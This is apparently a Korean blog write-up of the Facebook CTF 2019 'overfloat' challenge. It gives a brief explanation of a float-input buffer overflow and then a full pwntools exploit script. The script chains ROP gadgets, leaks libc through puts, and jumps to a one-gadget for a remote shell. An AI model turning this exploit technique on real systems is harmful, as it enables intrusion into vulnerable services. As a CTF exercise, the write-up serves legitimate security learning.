atof 함수에서 소수로 받아 4바이트씩 변수에 집어넣는데 원하는 만큼 집어넣는게 가능해서 오버플로우가 가능하다.
단 소수로 원하는 페이로드를 만들려면 IEEE floating point 변환을 해줘야 한다.
파이썬 코드로 짜는게 가능하지만 일단 빨리 풀기 위해 requests모듈로 웹사이트 기능을 크롤링해서 소수변환을 했다.
from pwn import * import time import json import requests def get_float(want): url = "https://www.h-schmidt.net/FloatConverter/binary-json.py?hexadecimal={}".format(want) response = requests.get(url) data = json.loads(response.text) return str(data['decimalRepr']) #p = process('./overfloat') p = remote('challenges.fbctf.com', 1341) elf = ELF('./overfloat') libc = ELF('./libc-2.27.so') p.recv() #nop = "-5.702072E-29" nop = get_float("0x90909090") pop_rdi = get_float("0x400a83") pop_rsi_r15 = get_float("0x400a81") puts_plt = get_float(hex(elf.plt['puts'])) puts_got = get_float(hex(elf.got['puts'])) main = get_float("0x400993") i = 0 while(True): if i >= 14: break i += 1 p.sendline(nop) p.recv() p.sendline(pop_rdi) p.recv() p.sendline("0.0") p.recv() p.sendline(puts_got) p.recv() p.sendline("0.0") p.sendline(puts_plt) p.recv() p.sendline("0.0") p.recv() #pause() p.sendline(main) hexdump(p.recv()) p.sendline("0.0") hexdump(p.recv()) p.sendline("done") #pause() hexdump(p.recvuntil("\x0a")) libc_puts = u64(p.recv(6).ljust(8, "\x00")) log.info("libc_puts = {}".format(hex(libc_puts))) libc_base = libc_puts - libc.symbols['puts'] log.info("libc_base = {}".format(hex(libc_base))) libc_gets = libc_base + libc.symbols['gets'] log.info("libc_gets = {}".format(hex(libc_gets))) oneshot = libc_base + 0x4f322 log.info("oneshot = {}".format(hex(oneshot))) #pause() i = 0 while(True): if i >= 14: break i += 1 p.sendline(nop) p.recv() p.sendline(pop_rdi) p.recv() p.sendline("0.0") p.recv() p.sendline(puts_got) p.recv() p.sendline("0.0") p.recv() p.sendline(get_float('0x'+hex(libc_gets)[-8:])) p.recv() length = len(hex(libc_gets)) - len(hex(libc_gets)[-8:]) p.sendline(get_float(hex(libc_gets)[:4+2])) p.recv() p.sendline(puts_plt) p.recv() p.sendline("0.0") p.recv() p.sendline("done") hexdump(p.recv()) #pause() p.sendline(p64(oneshot)) p.interactive()
'CTF' 카테고리의 다른 글
facebook CTF 2019 products-manager (0) | 2019.06.04 |
---|---|
defcon2019 speedrun (0) | 2019.05.28 |
hackzone 2019 pwn2 (Syscall) (0) | 2019.05.09 |
hackzone 2019 pwn1 (0) | 2019.05.07 |
BTH_CTF 2019 (0) | 2019.05.01 |